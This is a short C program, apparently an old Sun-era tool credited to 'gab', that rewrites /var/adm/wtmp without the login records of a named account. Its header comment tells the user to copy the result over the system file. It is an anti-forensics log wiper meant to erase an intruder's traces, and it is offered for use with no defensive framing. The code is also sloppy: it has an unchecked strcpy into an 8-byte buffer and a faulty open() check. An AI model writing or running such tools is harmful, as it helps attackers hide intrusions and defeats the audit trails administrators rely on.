/*
   /var/adm/wtmp editor for Sun's
   Written by gab, this will make a file wtmp.tmp then just copy
   it over /var/adm/wtmp and chmod 644 it
*/
 
#include <stdio.h>
#include <utmp.h>
#include <fcntl.h>
main(argc,argv)
int argc;
char *argv[];
{
int fp=-1,fd=-1;
struct utmp ut;
int i=0;
char name[8];
if (argc!=2) { fprintf(stderr,"usage: %s accountname\n\r",argv[0]);  exit(2);}
strcpy(name,argv[1]);
if (fp=open("/var/adm/wtmp",O_RDONLY)) {
        fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
        while (read(fp,&ut,sizeof(struct utmp))==sizeof(struct utmp)) {
                if (strncmp(ut.ut_name,name,strlen(name))) write(fd,&ut,sizeof(struct utmp));
                i++;
        }
        close(fp);
        close(fd);
        }
printf("Total: %d\n\r", i);
}